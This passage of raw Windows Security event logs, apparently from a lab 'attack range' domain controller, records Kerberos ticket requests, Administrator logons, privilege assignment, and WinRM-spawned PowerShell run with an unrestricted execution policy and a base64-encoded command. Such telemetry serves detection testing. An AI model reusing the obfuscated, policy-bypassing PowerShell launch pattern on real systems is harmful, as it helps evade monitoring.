Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252567
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252566
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252565
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1350
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10d4
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAE0AdwBBADEAQQBEAEkAQQBMAFEAQQAwAEEARABZAEEATwBRAEEAMwBBAEQAUQBBAE0AdwBBAHcAQQBEAEUAQQBPAEEAQQA1AEEARABRAEEATgBnAEEAMQBBAEQARQBBAEoAdwBBAEsAQQBGAGMAQQBjAGcAQgBwAEEASABRAEEAWgBRAEEAdABBAEUAOABBAGQAUQBCADAAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEATABRAEIASgBBAEcANABBAGMAQQBCADEAQQBIAFEAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAGsAQQBIAFEAQQBiAFEAQgB3AEEAQwA0AEEAUgBnAEIAMQBBAEcAdwBBAGIAQQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252564
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x134c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFkAQQBNAEEAQQB4AEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAE0AdwBBADEAQQBEAEkAQQBMAFEAQQAwAEEARABZAEEATwBRAEEAMwBBAEQAUQBBAE0AdwBBAHcAQQBEAEUAQQBPAEEAQQA1AEEARABRAEEATgBnAEEAMQBBAEQARQBBAEoAdwBBAEsAQQBGAGMAQQBjAGcAQgBwAEEASABRAEEAWgBRAEEAdABBAEUAOABBAGQAUQBCADAAQQBIAEEAQQBkAFEAQgAwAEEAQwBBAEEATABRAEIASgBBAEcANABBAGMAQQBCADEAQQBIAFEAQQBUAHcAQgBpAEEARwBvAEEAWgBRAEIAagBBAEgAUQBBAEkAQQBBAGsAQQBIAFEAQQBiAFEAQgB3AEEAQwA0AEEAUgBnAEIAMQBBAEcAdwBBAGIAQQBCAE8AQQBHAEUAQQBiAFEAQgBsAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252563
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168EAE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252562
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168EAE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252561
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252560
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252559
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252558
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe90
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x134c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252557
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Process Information:
	New Process ID:		0x134c
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252556
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252555
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x168BE9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252554
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252553
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6514362E-35C3-3044-1714-2D5A06843DFD}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252552
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
